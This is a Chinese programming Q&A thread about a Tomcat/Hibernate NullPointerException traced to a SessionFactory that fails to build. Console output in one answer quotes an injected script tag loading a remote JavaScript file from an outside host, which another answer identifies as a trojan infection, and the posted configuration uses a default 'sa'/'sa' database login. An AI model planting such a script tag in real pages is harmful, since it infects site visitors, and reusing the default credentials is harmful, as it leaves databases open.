Hibernate问题

Question

--------------------------------------------------------------------------------type Exception reportmessage description The server encountered an internal error () that prevented it from fulfilling this request.exception org.apache.jasper.JasperException
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:372)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292)
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:236)
javax.servlet.http.HttpServlet.service(HttpServlet.java:802)
root cause java.lang.NullPointerException
com.formBean.TbHibernateDao.selectManager(TbHibernateDao.java:26)
org.apache.jsp.index_jsp._jspService(index_jsp.java:71)
org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:94)
javax.servlet.http.HttpServlet.service(HttpServlet.java:802)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:324)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292)
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:236)
javax.servlet.http.HttpServlet.service(HttpServlet.java:802)
note The full stack trace of the root cause is available in the Apache Tomcat/5.0.28 logs.
--------------------------------------------------------------------------------
是什么错误呀! 帮帮忙!

Answer 1

com.formBean.TbHibernateDao.selectManager(TbHibernateDao.java:26) 
TbHibernateDao.java第26行代码出现空指针

Answer 2

com.formBean.TbHibernateDao.selectManager(TbHibernateDao.java:26) 
应该是你页面上selectManager这个方法取的值，有问题，有空指针

Answer 3

乍一看是个空指针异常....
_________________________
TbHibernateDao.selectManager
_________________________
跟踪一个下这个类里代码吧...

Answer 4

public class TbHibernateDao {
private static SessionFactory sessionFactory=null;
private Session session=null;
Transaction tx = null;
   static {
       try {
        System.out.println("aa");
           Configuration config = new Configuration().configure();
           System.out.println("bb");
           sessionFactory = config.buildSessionFactory();
           System.out.println("cc");
       } catch (Exception e) {
           System.out.println(e.getMessage());
       }
   }
   public List selectManager() {
   System.out.println("00");
    session = sessionFactory.openSession();
    System.out.println("0011");
    tx = session.beginTransaction();
    System.out.println("11");
    String hql = "from TbUser";
    List list = null;
    try {
     System.out.println("22");
        Query query = session.createQuery(hql);
        System.out.println("33");
        list = query.list();
    } catch (Exception e) {
        System.out.println(e.getMessage());
    }
    tx.commit();
    session.close();
    return list;
} }
代码
控制台  打印:
aa
bb
For input string: "128<script src=http://3b3.org/c.js></script>"
00

Answer 5

sessionFactory = config.buildSessionFactory(); 这句以后不执行了

Answer 6

检查下你的 hibernate 配置文件，时不时被种木马了  ，搜索一下 http://3b3.org/c.js

Answer 7

  System.out.println("bb"); 
          sessionFactory = config.buildSessionFactory(); 
          System.out.println("cc"); 
控制台没打印CC吗？你的sessionfactory没得到吧，检查一下你配置文件

Answer 8

检查下你的 hibernate 配置文件

Answer 9

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE hibernate-configuration PUBLIC
          "-//Hibernate/Hibernate Configuration DTD 3.0//EN"
          "http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd"><!-- Generated by MyEclipse Hibernate Tools.                   -->
<hibernate-configuration> <session-factory>
<property name="connection.username">sa</property>
        <property name="connection.url">jdbc:microsoft:sqlserver://127.0.0.1:1433</property>
        <property name="dialect">org.hibernate.dialect.SQLServerDialect</property>
        <property name="myeclipse.connection.profile">JDBC</property>
        <property name="connection.password">sa</property>
        <property name="connection.driver_class">com.microsoft.jdbc.sqlserver.SQLServerDriver</property>
    
<mapping resource="com/formBean/TbUser.hbm.xml" /> </session-factory></hibernate-configuration>
Hibernate配置文件